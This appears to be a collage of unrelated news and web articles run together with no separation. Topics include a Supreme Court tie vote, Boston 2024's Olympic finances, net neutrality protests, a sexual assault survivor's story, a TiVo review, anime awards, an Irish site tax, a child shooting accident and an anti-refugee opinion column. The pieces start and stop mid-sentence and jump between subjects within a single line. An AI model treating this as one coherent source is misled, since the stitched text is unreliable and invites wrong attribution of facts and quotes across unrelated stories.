In Hawkins & Patterson v Community Bank of Raymore on Tuesday, the justices observed tradition by issuing no opinion or tally of votes and simply announcing that the 8th Circuit's "judgment is affirmed by an equally divided Court."
Reports from oral arguments in the case, argued on the first day of the Supreme Court's term last October, suggested the justices were leaning toward the bank and that Scalia also favored the bank's reading of the statute over the Federal Reserve's position.
CLARIFICATION: An earlier version of this story omitted two 8th Circuit states.Boston 2024’s overhauled Olympics plan shifts the costs of buying land for a stadium from the city to a private developer selected through a competitive bid process, with tax breaks as an incentive; sets aside $128 million for cost-overrun insurance; and relies on $765 million in yet-to-be-authorized tax-funded upgrades to state road and rail systems.
Version 2.0 of Boston 2024’s bid for the Summer Games — unveiled at a press event this morning at the Boston Convention and Exhibition Center — is a bid to convince an extremely skeptical public their tax dollars will be safe as the sprawling $4.6 billion plan takes shape.
“The taxpayers won’t be responsible for any venue costs or any operating costs, and we believe the taxpayers are responsible for infrastructure costs that should be done in the ordinary course anyway,” Boston 2024 Chairman Steve Pagliuca said. “Any time we had a chance to take a conservative route, we did.”
Boston 2024 forecasts $4.8 billion in total revenue from the Games – $1.5 billion from broadcast rights fees and TV sponsors, $1.25 billion in ticket sales, $1.5 billion in domestic sponsors, and $535 million in licensing. The organization says its operating budget contains a $210 million cushion to cover unexpected costs.
Under the new plan, Boston 2024 would:
• Shift $1.2 billion in costs from city bonding to a private “master” developer who would buy up and prep 83 acres of land for an Olympic Stadium at Widett Circle, as the Herald reported earlier this month. The developer would be selected by the city though a competitive bid process, and win the right to develop a new neighborhood called “Midtown,” with tax breaks on new structures. Boston 2024 claims that even with tax breaks factored in, the city will see tax revenue generated at Widett Circle jump from the current $1 million to $10 million in 2030, and as high as $377 million by 2080. The same model will apply for the $2.8 billion Athletes Village and neighborhood in Columbia Point.
• Negotiate land deals with current owners, including New Boston Food Market and Americold, which combined own 21.1 acres of the Widett Circle site. The city would then choose a master developer who would close on those deals, and receive future tax breaks.
• Carry $128 million in its operating budget to pay insurance premiums to protect the city from footing the bill for cost overruns. The coverage will seek to exceed what Chicago secured for its failed 2016 bid, which included $475 million for event cancellation, $2 billion for venue construction overruns, and $50-$100 million for sponsors failing to pay. The athlete village and stadium projects will each carry separate “capital replacement” insurance. Pagliuca said Boston 2024 is working with the law firm Mintz Levin and a brokerage firm to secure the insurance, has received “general estimates,” and will be crafting a formal proposal and begin negotiations for the insurance next week.
• Rely on $1.9 billion in MBTA improvements that Boston 2024 says are currently planned and funded by the state, including new subway and commuter rail cars, new buses, and signal upgrades. The plan also relies on $455 million in additional power signal upgrades to the Red and Green lines for which no active state plan or funding currently exists. Boston 2024 CEO Rich Davey said those improvements are needed to address “non-Olympic related anticipated ridership growth,” and would allow the Red Line to run more frequent trains during rush hour and the Green Line to run three-car trains instead of two-car trains.
• Rely on $220 million in yet-to-be-secured state money to pay for improvements to Kosciuszko Circle in Dorchester and the JFK T Station, as well as $100 million for a new Broadway T station entrance. The plan proposes to privately fund $215 million in other infrastructure projects, including reconfiguring Haul Road, relocating the Cabot Bus facility in South Boston, and a new commuter rail station at Widett Circle.
• Dump a plan to site a $50.5 million broadcast and press center along Fort Port Channel. A new site is yet to be identified. Boston 2024 officials said that while some of the equipment for the center needs to be near the Boston Olympic sites, other parts can be located in warehouse space inside the I-495 corridor.
The plan leaves unresolved the venues for aquatics, golf, regional basketball, and cycling. On aquatics, Davey said the initial vision was for temporary facilities, which changed when talks started with community groups and universities to build a permanent pool.Net neutrality proponents are planning a last-ditch holiday protest against the Federal Communications Commission's (FCC) move to scrap Obama-era rules.
Protesters in cities including Phoenix, Denver, San Francisco, New York City, Indianapolis and Boston will march from local Verizon stores to lawmakers’ district offices on Dec. 7.
March participants will drop off signed petitions against scrapping net neutrality at their representatives' offices in an effort to have lawmakers speak out against the FCC’s push to roll back the rules.
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Fight for the Future, which is organizing the protests, says it wants to take advantage of the busy holiday season to raise awareness at crowded storefronts.
“The corrupt bureaucrats trying to kill net neutrality are hoping to avoid public backlash by burying the news over the Holiday weekend,” said Fight for the Future's Evan Greer. “We’re taking our protest from the Internet to the streets to make sure that doesn’t happen.”
The protest is a response to FCC Chairman Ajit Pai’s plan to scrap net neutrality rules. The rules, enacted under former Chairman Tom Wheeler, aim to create a level playing field on the internet by barring internet service providers like Verizon, Comcast and others from prioritizing certain types of online content over others.
Pai is on the verge of finalizing his plan to scrap the rules. He released an initial draft of his proposal, “Restoring Internet Freedom,” last April and opened it for public comment. The commission is now reportedly set to remove the rules in December.
Greer says Verizon stores are being targeted because Pai worked as an associate general counsel for the telecommunications firm.
“Clearly all of the big ISPs are to blame for this attack on our rights, but the fact that Ajit Pai was a top lawyer for Verizon just makes the corruption that much more blatant,” she said in an email.The world is watching former CBC radio host Jian Ghomeshi’s sex assault trial, and the cross-examination of women who say he assaulted them, play out in real time. (Ghomeshi has denied all the charges against him.)
Global News took this opportunity to talk to women who’ve experienced sexual assault and struggled with whether to report it and how to pursue justice in the court system.
READ MORE: Readers’ stories on sexual assault
For a sexual assault survivor, Jennifer O’Neill is lucky and she knows it.
Lucky that, in the car of a man she didn’t know, being driven she didn’t know where, brain made fuzzy by substances she still can’t identify, she somehow had the presence of mind to respond to a friend’s frantic text with one word: “Scared.”
It didn’t help much at the time but it was a piece of corroborating evidence years later, when O’Neill’s own sworn testimony might not have been enough.
Lucky that, after hours drifting in and out of consciousness in a strange apartment, being violated in ways she can only recall in fragments, she begged, convinced, cajoled the stranger to drive her home, where a police officer was waiting.
Lucky that, even though she was too confused and scared to respond affirmatively when the officer asked “Have you been sexually assaulted?” even though she declined the gruff offer of a rape kit in the hopes she could will her assault away, the police hung on to her file and followed up by phone later.
“I knew something had happened. … But at that moment maybe a part of me said, ‘Maybe you don’t have to remember.'”
GHOMESHI CASE: How to stop sex assault trials from putting character on the stand
Lucky to have friends there as she lay prone on her couch, struggling to piece herself together.
“When someone blows up your life, no one shows you the way to your brokenness. You find it yourself.”
They told her bible stories, fed her popcorn, put on a movie, drew her a bath.
“They were the most generous, kind people I could ever ask for.”
Lucky that, as debilitating trauma precluded her attempts to go back to work as though everything was fine, and her boss’s moral support didn’t stop her from becoming jobless and income-less when she took time off, she could pack herself and her belongings on the bus to her parents’ home in Kingston.
“They thought it was nuts that I was trying to go back to work. I was like, ‘I |
, which formed out of a strike wave over economic demands, but also calls for greater political freedoms, was made up of delegates from striking factories. While it lasted only 50 days in 1905, it would be an important testing ground for the new workers' organizations that sprung up 12 years later.
As Trotsky wrote in his book 1905:
The soviet organized the working masses, directed the political strikes and demonstrations, armed the workers and protected the population against pogroms. Similar work was also done by other revolutionary organizations before the soviet came into existence, concurrently with it, and after it. Yet this did not endow them with the influence that was concentrated in the hands of the soviet. The secret of this influence lay in the fact that the soviet grew as the natural organ of the proletariat in its immediate struggle for power as determined by the actual course of events. The name of 'workers' government,' which the workers themselves on the one hand, and the reactionary press on the other, gave to the soviet was an expression of the fact that the soviet really was a workers' government in embryo.
During the Russian Revolution of 1917, workers' councils once again formed the backbone of workers' organization. In June 1917, there were hundreds of soviets across Russia. After months of struggle, the workers' councils were eventually able to prevail over the old state structures that initially existed alongside it.
THE WORKING class faces a powerful and well-organized enemy--the ruling class with all its state institutions and ideology on its side. Workers will need their own centralized and democratic structures in order to make decisions and carry them out against such a powerful opponent.
During that process, workers--the real experts--develop their own organizing that help form the basis for future society, where the priority is fulfilling human need and everything else. This means not just the bare minimum, but the freedoms denied us in this society, like the time to debate and make decisions.
The American socialist John Reed described it this way in his Ten Days That Shook the World about the Russian Revolution:Moving to a new country and adjusting to the cuisine and customs is difficult for anyone. Moving to a new country and suddenly seeing people wearing shirts that say things like "I am a whore"... well, nobody ever warns you about that, do they?
A photographer living in Shanghai certainly wasn't expecting that particular kind of culture shock, so he took to Bored Panda after creating the @ShanghaiObserved Instagram to document all the "ridiculous things" he saw in China. (For more, check out our interview with the person behind the account).
These shirts definitely make a statement, but it's safe to say that the Chinese fashionistas wearing them probably don't know just what kind of a statement they're making.
READ MORE: Why Chinese Designers Pick English Words for T-Shirts
1. It's actually a cute outfit though...
2. This little girl was probably the star of her class picture.
3. Something tells us he knows exactly what that shirt says.
4. Even the fish behind him are shocked.
5. This guy's grocery shopping trip took a weird turn.
6. Always good to have perspective.
7. The hard truth.
8. Okay, it's not a t-shirt, but:
9. No lies detected.
10. Fact.
11. But it's whats on the outside that matters.
12. The best kind of style.
13. Cold.
14. Don't we all?
15. Perfect for the playground!
16. We're loving Nike's bold new direction...
17. Special Announcement:
18. He wears his emotions on his sleeves.
19. No shame.
20. We're sensing a theme here...
Yes, it's also not a t-shirt.
[All images used with permission of @ShanghaiObserved on Instagram]
For more, read our interview with the photographer behind @ShanghaiObserved.
In Shanghai? Check out @ShanghaiObserved's works on Saturday, November 18 starting from 7pm at XIME. See event listing here.Even before it became clear that Feidin Santana was witnessing what local authorities now describe as a murder, it took guts for him to record the police encounter that ended in Walter Scott's death. Santana, who was walking to work at a barbershop in North Charleston, South Carolina, the day before Easter, risked illegal retaliation by camera-shy cops the moment he stopped talking on his smartphone and started using it to capture Scott's interaction with patrolman Michael Slager.
Although the First Amendment right to record the police as they perform their duties in public is well established, cops often violate that right by ordering people to turn off their cameras, confiscating their cellphones, or arresting them on trumped-up charges. The shooting of Walter Scott, which last week led to Slager's arrest thanks to the details revealed by Santana's video, illustrates both the prevalence of this contempt for constitutional rights and the importance of counteracting it.
After Scott fell to the ground, struck by five of the eight rounds that Slager fired at him as he fled a traffic stop, Santana continued recording. "One of the officers told me to stop," Santana told CNN. "It was because I say to them that what they did, it was an abuse, and I witnessed everything."
The New York Times reports that when Scott's older brother, Anthony, arrived at the crime scene and took pictures of the body, three officers "surrounded him, telling him to turn over his phone." He gave it to them. "Hours later," the Times says, North Charleston Police Chief Eddie Driggers "arrived, returned Mr. Scott's phone and offered his condolences."
As Driggers seemed to recognize, there is no legal basis for such interference with camera-carrying bystanders. The right to record police has been explicitly upheld by at least four federal appeals courts—in the 1st, 7th, 9th, and 11th circuits—and implicitly recognized by others.
Federal judges outside of those four circuits have ruled that the right to record flows logically from the First Amendment right to gather information and that it applies equally to everyone, not just credentialed journalists. Big-city police chiefs take it for granted that "members of the public are legally allowed to record police interactions," as a 2014 NYPD memo put it, and that "a bystander has the same right to take photographs or make recordings as a member of the media," as Washington, D.C., Police Chief Cathy Lanier informed her officers in 2012.
The behavior of North Charleston police after the shooting of Walter Scott suggests why such memos are necessary. So do the actions of the officers who arrested Austin, Texas, activist Antonio Buehler three times in 2012 for daring to record police encounters.
Last July, responding to a lawsuit filed by Buehler, a federal judge ruled that the right he was exercising is well enough established that police cannot rely on qualified immunity to escape liability for violating it. U.S. Magistrate Judge Mark Lane cited "a robust consensus of circuit courts" that "the First Amendment encompasses a right to record public officials as they perform their official duties."
Even the threat of personal liability may not be enough to deter cops from harassing people who record them, since taxpayers typically pick up the tab when cities settle lawsuits arising from such incidents. Last year, for instance, New York City paid $125,000 to settle a lawsuit brought by Brooklyn resident Dick George, who said police roughed him up and arrested him for disorderly conduct after he recorded a stop-and-frisk encounter in 2012.
According to George's complaint, one of the cops said, "Now we are going to give you what you deserve for meddling in our business, and when we finish with you, you can sue the city for $5 million and get rich. We don't care."
Anthony Scott encountered a similar attitude when the cops took his cellphone. "It was eerie how they were acting," he told the Times. "They were cocky."
© Copyright 2015 by Creators Syndicate Inc.An In-Depth Look at the TiVo Roamio OTA
TiVo’s newest offering is targeted directly at Cord Cutters
The TiVo Roamio OTA is the company’s first device engineered specifically to be used as a cable television alternative. Lacking a cable card, the Roamio OTA is designed to allow for a less costly way to record and watch your favorite OTA programming, all while taking advantage of the famous TiVo interface.
So how does the device stack up against its TiVo DVR brethren? Let’s take a look!
Looking for a Tivo Alternative? Check out the Channel Master +, Tablo, or (simply) learn how to BUILD YOUR OWN OTA DVR.
The TiVo Roamio OTA features a surprisingly complete set of features to enjoy.
The Roamio OTA is complete with a 500GB hard drive, and a built-in Wi-Fi adapter. Combine that with 1080p recording capability and popular video service integration like Netflix and Amazon, and you will begin to see that the Roamio OTA’s features stack up well compared to other popular TiVo models such as the TiVo Premiere.
With so many features, you’ll be surprised at just how affordable the actual Roamio unit is priced.
Focusing on the DVR’s initial cost only, the Roamio OTA knocks it out of the park! For about $50, you’ll get the sleek device along with a remote control. The TiVo Premiere, for comparison, costs about $140 when purchased new. Both sport multiple tuners (4 for the Roamio OTA and 2 for the Premiere) which allow for plenty of recording opportunities. Both feature an internal hard drive with capacity for at least 45 hours of HD programming (about 75 hours for the Roamio OTA). So what’s the catch?
TiVo subscription costs could be the downfall of the Roamio OTA.
Despite a low initial cost, the Roamio OTA requires a monthly fee of $15. Regardless of the company’s tendency to include a lifetime lump sum payment option for most products, TiVo has omitted the possibility on this device. So what does that mean? Let’s do a quick comparison. The lifetime service pricing for the Premier is $499.99. So after you purchase the device, for about $640, you could be using your new Premiere without fees for the life of the device. The Roamio OTA’s $50 price point, combined with its $15 subscription fee, will exceed that cost in just over three years. When viewed in this light, the true costs of TiVo’s first OTA DVR becomes crystal clear. And it is for this reason, I cannot recommend the TiVo Roamio as a legitimate Cable TV Alternative.
*** 8.28.15 – Update: This is no longer true. Tivo Romeo OTA now offers Life Time service for $399. This changes everything. Look for a new post that takes a completely different stance on if this device should be considered a true cable TV alternative. what is expressed in this article. Read my new post on this topic to get the latest and greatest info: RECORDING OVER THE AIR TV CHANNELS – A TIVO ROAMIO OTA REVIEW – New pricing & new features: Time to take a 2nd look at Tivo Roamio DVR
Most TiVo devices retain their value, so how does the Roamio OTA stack up?
The Roamio OTA, with its lack of lifetime subscription, holds its value much more poorly than other TiVo DVR models. On the other hand, a used Premiere can be sold for about a third of its original value, or more depending on the lifetime subscription. Why is this? Well, the Premiere features a cable card, which expands its customer base exponentially when trying to flip the device. Add the possible lack of subscription fees for the new owner, and you’ll see why other TiVo devices can offer you a better return on your investment.
So is the TiVo Roamio OTA a good option for you?
It will depend upon your personal needs, but, in general, there are much more efficient options. Inside of the TiVo catalog, options such as the Roamio Plus or Premiere will allow all of the functionality without the necessity of nagging fees. Escaping the TiVo market, there are options such as the Channel Master DVR+ that eliminate monthly fees, albeit with a slightly more difficult setup process. If you are looking for a cheap device for OTA recording and the pricy recurring fees aren’t an issue, the TiVo Roamio OTA could be a great choice due to its full set of features and easy-to-use interface. For everyone else, however, there are better options out there.
Additional Resource
If you have a Media Center PC and are interested in building your own OTA DVR – check out “Using a TV Tuner Card to build a PC based DVR for Recording OTA Free TV”. If you want to learn more about what Tivo Alternative options out there, click here to read their full product list overview. To see a full list of OTA DVRs, and to figure out which model is right for you, read Recording Over-the-Air Channels with a Set-top Box.
Article Sources
TiVo Roamio OTA 7 Over All Rating 7.0/10
Pros Initial Cost
Device Compatability Cons Subscription Cost Amazon Pricing
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commentsAuthor: Andy Hanley Andy has been writing for UK Anime since 2006, and was the site's editor-in-chief until August 2017. Contrary to popular belief, Andy is not actually a robot.
The 2014 UK Anime Network Awards
Another year has passed us by, and looking back upon the twelve months just gone it's been a stellar year for anime fans - a huge variety of quality series both streaming and on home video, some incredible premium releases to salivate over, and a glut of exciting related games and manga to enjoy into the bargain.
It's this cornucopia of entertainment that partly led to us completely overhauling our awards "ceremony" for 2014 - categories were chopped and changed, others were added as new categories for debate, and perhaps most importantly we conducted all of our deliberations in the public eye for you to listen to in podcast form. In other words, if you want to know how we came to some of our craziest choices, you can find out and hopefully have a good time listening to us banter while doing so.
If you've been listening to those deliberation podcasts you'll know our entire line-up of winners now (aside from our Reader's Choice award, voted for by you), but for those who haven't had the time or opportunity to indulge in all that aural goodness then here's our full run-down of award winners and runners-up!
Best action anime
KILL LA KILL
ANIME LIMITED
Runners-up:
- Girls und Panzer (MVM Entertainment)
- Knights of Sidonia (Netflix)
Other nominees:
Attack on Titan (Manga Entertainment)
Fate/Zero (MVM Entertainment)
Infinite Stratos (MVM Entertainment)
Jojo's Bizarre Adventures: Stardust Crusaders (Crunchyroll)
Jormungand (Manga Entertainment)
Nura: Rise of the Yokai Clan - Demon City (Kazé)
Psycho-Pass (Manga Entertainment)
Sword Art Online (Manga Entertainment)
This year saw us overhaul and cut-down our "genre" categories to just three - action, comedy and drama - but that didn't stop last year's best streaming anime Kill la Kill from romping to victory in the action category, beating out some decidedly tough competition from the likes of Girls und Panzer.
Amongst those who failed to make our top three were some of the year's biggest shows, including Attack on Titan and Sword Art Online, but these all lost their way when it came to facing off against Trigger at their finest.
Best comedy anime
MONTHLY GIRLS' NOZAKI-KUN
CRUNCHYROLL
Runners-up:
- The Devil is a Part-Timer (Manga Entertainment)
- Girls und Panzer (MVM Entertainment)
Other nominees:
Denki-gai no Honya-san (Crunchyroll)
Hi-sCool! Seha Girls (Crunchyroll)
The Devil is a Part-Timer! (Manga Entertainment)
Sabagebu!! (Crunchyroll)
Silver Spoon Season 2 (Crunchyroll)
Space Dandy (Anime Limited)
The World is Still Beautiful (Crunchyroll)
It's been a pretty strong year for outright comedy anime in the UK - The Devil is a Part-Timer's home video release netted it a runners up spot, while Girls und Panzer's mix of action and comedy nabbed it two runners-up spots in succession but no outright wins. Elsewhere, the likes of Sabagebu and Denki-gai no Honya-san gave us plenty to chuckle about in 2014. Less overt comedies such as Silver Spoon and Space Dandy also added some meat to an impressive list of nominees.
Our winner is another out and out comedy, and the ceaseless hilarity of Monthly Girls' Nozaki-kun ensured that it made for an easy winner of the category. Here's hoping for a home video release so that we can consider it again in the next year or two.
Best dramatic anime
TIME OF EVE: THE MOVIE
DIRECTIONS
Runners-up:
- Ping-Pong: The Animation (Animax UK)
- Toradora! (MVM Entertainment)
Other nominees:
Fate/Zero (MVM Entertainment)
The Garden of Words (Anime Limited)
Giovanni's Island (Anime Limited)
Girls und Panzer (MVM Entertainment)
Knights of Sidonia (Netflix)
Kokoro Connect (MVM Entertainment)
NagiAsu: A Lull in the Sea (Crunchyroll)
Nekomonogatari: White (MVM Entertainment)
Psycho-Pass (Manga Entertainment)
Silver Spoon Season 2 (Crunchyroll)
Terror in Resonance (Anime Limited / Wakanim)
Even compared to those prior two categories, picking out the best drama-related anime of 2014 was, in itself, a discussion of high drama, with a ridiculously high quality selection of series and films to choose from, be it romantic drama (The Garden of Words and eventual runner-up Toradora) or sci-fi fare such as Knights of Sidonia or our ultimate winner, the incredible Time of Eve movie.
Our other runner-up for this category was Masaaki Yuasa's adaptation of coming of age story Ping Pong, which beat out the likes of Silver Spoon and Nekomonogatari White on its way to its esteemed place amongst the also-rans.
Listen to our deliberations for all three of these categories over hereCommunity Preservation and the “Value” of a Bad Guy
How does a community preserve a threatened treasure? In 2010, Austin citizens and University of Texas students joined forces in a popular uprising that saved the Cactus Cafe, the much-loved listening room that had brought live music to the UT campus for almost three decades. After administrators announced plans to close the venue, activists mobilized using tools both new – Facebook and Twitter – and old – rallies and marches, fundraising, confrontation, and negotiation. I was so impressed with what Austin accomplished that I documented the effort in detail in my recent book, Cactus Burning: Austin, Texas and the Battle for the Iconic Cactus Cafe.
I wanted to honor those who worked for the better part of a year to save the Cactus, and to provide a how-do-you-do-it blueprint for other communities interested in saving their own icons. Readers of Cactus Burning will come away with plenty of insight into the strategies and tactics needed to sustain a preservation movement. But the Cactus saga does differ somewhat from the many loss scenarios that arise from a complex mix of overlapping factors, which often involve deterioration and redevelopment, rising rents, gentrification, and, ultimately, homogenization. Compared to the ongoing struggles facing Austin and other communities, saving the Cactus was – and I dishonor no one here – relatively easy.
The immediate threat to the cafe came from one actor – a state university that had an explicit obligation to the surrounding community. UT, according to its Mission Statement, “preserves and promotes the arts, benefits the state’s economy, serves the citizens through public programs and provides other public service.” Nonetheless, it was UT that decided to close the Cactus and UT that had the unilateral power to keep it open. For preservationists, this presented a single target, and their tenacious campaign tactics ranged from economic pressure to a large helping of old-fashioned humiliation. The university, which needed ongoing good relations with its neighbors, succumbed.
A somewhat analagous situation had arisen a decade earlier, when BookPeople and Waterloo Records, two Austin retail icons, faced a threat from the then-giant Borders chain, which planned a competing store across the street. The locals organized a resistance campaign. Its centerpiece was an economic analysis demonstrating that dollars spent at homegrown businesses returned more revenue to local communities than dollars spent at chain stores headquartered elsewhere. That analysis formed the campaign’s rational, evidentiary underpinning. But the effort’s heart and soul – its energy – stemmed from the existence of an easily identifiable villain.
While the owners of Waterloo and BookPeople always spoke respectfully of Borders, many of their supporters fostered the specter of a rapacious interloper, one that wanted Austin’s money but was unconcerned with the community’s soul. After a protracted political tussle, Borders pulled out. It cited changing economic circumstances, not community opposition, but several years of acrimony took a toll. Would it have been worth it to come to Austin and vanquish two beloved local merchants located across the street? As the University of Texas found in the Cactus struggle, being the villain isn’t easy. Clear-cut villains make preservation campaigns easier.
But the ills that prompt the demise of local institutions aren’t always reducible to one tangible target. More often, they’re abstract and structural in nature. Talking to me about the Cactus affair, a student named Alex Ferraro said, “they’re gonna keep cutting things, because we’re … a public university that gets less funding from the state than we get from students.” Just a few years later, activists found themselves struggling to preserve the natural science wonders at UT’s 75-year-old Texas Memorial Museum. Addressing that controversy, campus president Bill Powers echoed Ferraro, noting that UT was under significant financial stress stemming from a combination of rising enrollment and flat state funding.
In any given situation, UT may have more financial flexibility than it acknowledges, but Powers’ (and Ferraro’s) underlying point remains valid. UT is subject to a legislature that seems determined to make the system run with as little state cash as possible. That legislature consists of 181 largely conservative politicians, elected from every corner of a vast state, who meet for a few months every two years. Altering legislative attitudes about higher education funding requires a years-long political effort. Single issue preservation campaigns that last for a few months may, cumulatively, help make the larger point that more funding is needed, but they’re not a direct attack on the underlying problem.
So it is with community preservation as a whole. When small businesses shut down prematurely, it’s often due to rising rents, which tend to follow a pattern of neighborhood deterioration and renewal, increasing property values, and rising costs. Structural issues such as income inequality, inadequate public transportation, and poorly examined development incentive programs, compound the problem. There’s no single target, rendering opposition more difficult. Absent the political leverage of BookPeople and Waterloo, local shops fall by the wayside and chain stores fill the void.
I’m glad that Austin saved the Cactus Cafe. That campaign was a necessary component of what I hope will be an ongoing effort to preserve a still-unique community. But within that larger effort, Cactus-style campaigns, in which preservationists embarrass and pressure a singular “bad guy” with the power to turn things around, will rarely be possible. All communities need sustained political and social programs that focus on the larger forces that combine to weaken local identity.
Michael F. Scully came to Austin in 1995 by way of New York and San Francisco. A former trial lawyer, he has a Ph.D. in American Studies from UT-Austin. In addition to Cactus Burning, he’s the author of The Never-Ending Revival: Rounder Records and the Folk Alliance (University of Illinois Press, 2008). For more information on community preservation, take a look at the offerings of the Institute for Local Self-Reliance.CARSON, CA — A group of citizens observed a U.S. postal worker dumping several bins of undelivered mail into a trash dumpster. When they blew the whistle, they were treated coldly and even threatened with criminal charges.
The witnesses confronted the mail carrier, who sheepishly attempted to take some of the bundles back out of the dumpster. The mailwoman ultimately left, and witnesses were able to retrieve as many as six bins of mail from the trash.
“Costco bill, attorney stuff, Nordstrom’s — these are people’s actual bills,” said witness Paul San Nicolas as he examined the discarded mail in front of Fox 11 News cameras. “Here’s a personal one, as you can see, its hand written.”
The watchful citizens were treated rudely as they returned the bins of mail to the United States Post Office in Carson, California. A manager glared as she accepted the bins without so much as a “thank you” or an apology — right in front of the media!
Fox 11 News reported that one of the good Samaritans, Mr. San Nicolas, was later called by the assistant postmaster and told that “he could be prosecuted… because he was in possession of federal property.”
Watch the shocking coverage below.
Los Angeles News | FOX 11 LA KTTV
According to what the Office of the Inspector General told Fox 11, the inspector “is investigating and appropriate action will be taken.”
The Google Reviews of the Carson Post Office include allegations of lost, stolen, and destroyed mail — carelessly treated in the hands of incompetent, corrupt, and lazy postal workers. If these testimonies are even half-true, the entire office needs to be fired and rebuilt from the ground up.
{ SUPPORT POLICE STATE USA }
ACCOUNTABILITY CHECK
United States Postal Service (Carson, California)
Website | Facebook | email
Phone: (310) 549-2135
USPS Office of the Inspector General
Website | Facebook | email
Phone: 703-248-2100An economic workshop in Dublin has been told that the Government could set up a site valuation tax quickly, with an average charge of €625 per household.
Economist Ronan Lyons said the tax would raise about €3 billion a year in revenue. He said that 80% of the information required to set up a tax system, based on an annual charge of 2% of the land value, already exists and could be used to levy a new tax.
In his work he has divided the country into 4,500 districts, five different house types and ten different valuation bands.
Under this system those living in Dublin would pay the most, while those living in rural areas would pay the least, because of the relative values of land in different parts of the country.
However, as the system is based on the size of the site, rural dwellers with big gardens could find themselves paying more than city dwellers living on small sites.
A site valuation tax is based on taxing the square metres of a site, not the value of the property on it. So the key thing is to determine the value of each site.
Using a database of 1.3 million sales and rental adverts posted between 2006 and 2011, Mr Lyons says it is possible to determine the relative value of land in different parts of the country, an in different parts of cities.
"The value of a property is the value of the building and the value of the land it is on. If we know the value of a property type, (eg apartment, bungalow, etc) we can calculate the land value", said Mr Lyons.
The economist also claims that the site valuation tax would be fairer and raise more money than the €100 charge the government is levying on all residential property. It would replace commercial rates and stamp duty.
By taxing property at 2% of the site value annually, the tax could raise €3 billion annually, of which €1 billion would be new revenue.
"Three quarters of Irish peoples wealth is tied up in property, and yet it it untaxed. Those who argue for a wealth tax should support a site tax as it is effectively a tax on wealth", argued Mr Lyons.
He said the system could be amended to make allowances for elderly people with no incomes, or first time buyers who bought property at the height of the boom, and who are under most financial pressure.Israel's Housing Ministry is bringing back plans for a new neighborhood in Jerusalem that falls outside of the 1967 borders and inside the West Bank. The neighborhood is planned for the site of the now defunct Atarot Airport, north of Jerusalem, and is supposed to provide housing for ultra-Orthodox Israelis.
The 10,000-home plan was drawn years ago by the Jerusalem municipality, but had been frozen due to the strong opposition of the previous U.S. administration to Israeli construction in East Jerusalem. But after Donald Trump's inauguration, Israel started advancing the plan again, and is set to make it public on Jerusalem Day in May, according to a Channel 10 report on Tuesday.
Atarot Airport, the planned site of the new neighborhood, was abandoned was abandoned at the beginning of the second intifada some 15 years ago for fear that the Palestinians would shoot at planes taking off there. The airport is located next to the separation barrier, not far from the Qalandiyah checkpoint.
skip - new neighborhood map
The plan also spans areas west of the airport, outside the municipal area of Jerusalem in the West Bank, in lands that are nevertheless under Jewish ownership.
Though the neighborhood is earmarked for the ultra-Orthodox public, but heads of the haredi community have recently expressed their opposition to the neighborhood's location, citing its distance from the city center and proximity to Palestinian neighborhoods and the separation barrier.OGDEN — A 13-year-old girl was accidentally shot in the neck by her 11-year-old sister Sunday after the girls found a gun in their grandparents' bedroom while cleaning.
The girl, however, did not suffer any life threatening injuries. Ogden Police Lt. Jake Sube said she was very lucky.
"It absolutely could have been very tragic," he said.
The incident happened just after 3 p.m. while the girls were at their grandparents' home in the 100 North block of Pingree Ave.
"It appears that the two girls were alone cleaning the grandparents' bedroom when the gun was found. Moments after finding the gun, the 11-year-old accidentally discharged the firearm striking the 13-year-old in the neck," he said.
Sube did not know Sunday where in the bedroom the gun was found. The older girl actually told her sister to be careful after she found the weapon because it might be loaded, he said.
"About the same moment it was fired," Sube said.
The weapon used was described as an older model.22-caliber revolver, Sube said. Police believe the elderly grandparents had not used the gun for many years and likely forgot it was in the bedroom.
"It had been out of sight, out of mind for a long time," Sube said.
He said the bullet broke her skin but did not penetrate any vital organs. He said a lump in her skin where the bullet came to rest could be seen.
"When police first made contact with the victim, she was conscious and alert but obviously shaken up. She was taken to a local hospital in good spirits and will likely have surgery to remove the bullet," Sube said. "She had a very positive attitude."
No arrests were made or citations issued Sunday. The investigation would continue, he said.
"The family involved has avoided a tragedy today and we are very thankful. This could have been much worse," said Sube who also said the incident was a good reminder for all gun owners to keep their weapons secured in their homes, even if they don't have children of their own.
Twitter: DNewsCrimeTeamOfficial numbers from Friday's box office for New Year's Day haven't yet hit, but estimates show Star Wars: The Force Awakens with another strong $35 million day, putting its total - in just over two weeks - to $687 million in domestic gross.
That passed, as reported yesterday, Jurassic World as the #1 movie in the US for 2015, and also passed Titanic's 2nd place domestic gross. Again, The Force Awakens has been out for 15 days (the start of its third weekend in theaters), and Titanic had a significant box office presence for 34 weeks (Jurassic World was in for 23 weeks).
That means Avatar's $760.5 million domestic box office record is well within reach of Star Wars now, and after the Starkiller Base charges up over the weekend with an expected total of around $745 million by the end of Sunday, The Force Awakens should deal the final blow to Avatar on Monday, after 18 days of release. The record-holder boasted a 34 week release, as well.
Worldwide, The Force Awakens has been keeping an almost even pace with its domestic haul in international markets, and if that holds, should pass The Avengers as Disney's highest worldwide haul this weekend with ease. After that milestone, the goals are $2 billion worldwide and Avatar's mammoth record of $2.788 billion. The film opens in China, the world's second largest market, next weekend, and that opening will give a better indication of whether those goals are in sight.Republican and Democratic governors are thwarting President Obama’s plan to move thousands of Syrian refugees into your neighborhood.
It is a prudent measure to take – especially in the aftermath of the Islamic terrorist attack in Paris. And it is especially prudent now that ISIS has warned that America will be next.
“We need to take ISIS at their word,” Franklin Graham wrote on Facebook. “Their goal is world domination. They want to control us – they want to destroy us.”
Click here to join Todd’s American Dispatch – a must-read for conservatives!
I'm all for welcoming the huddled masses yearning to be free. It's the ones yearning to wage jihad that I'm worried about.
However, President Obama and the Council for American Islamic Relations called the moratorium on Syrian refugees un-American.
“That’s shameful,” the president said, referring to suggestions that only Syrian Christians be allowed to enter the United States. “That’s not American. That’s not who we are. We don’t have religious tests to our compassion.”
CAIR went on to say that such actions were "driven by fear and Islamophobia."
Well, if wanting to keep the radical Islamists out of our nation makes me an extremist -- then so be it.
Republican presidential candidate Mike Huckabee delivered the harshest critique of President Obama’s response to the Paris terrorist attacks – calling it wimpish.
“We have a Cub Scout for commander in chief,” he said.
“It’s embarrassing when a left-wing socialist French President shows strength and determination to eradicate animals who are slaughtering innocent civilians while our president lectures us on the moral necessity to open our borders to tens of thousands of un-vetted people from the Middle East.
But President Obama remains steadfast in his defense of the Muslim faith. He said the world has a terrorist problem – not a Muslim problem.
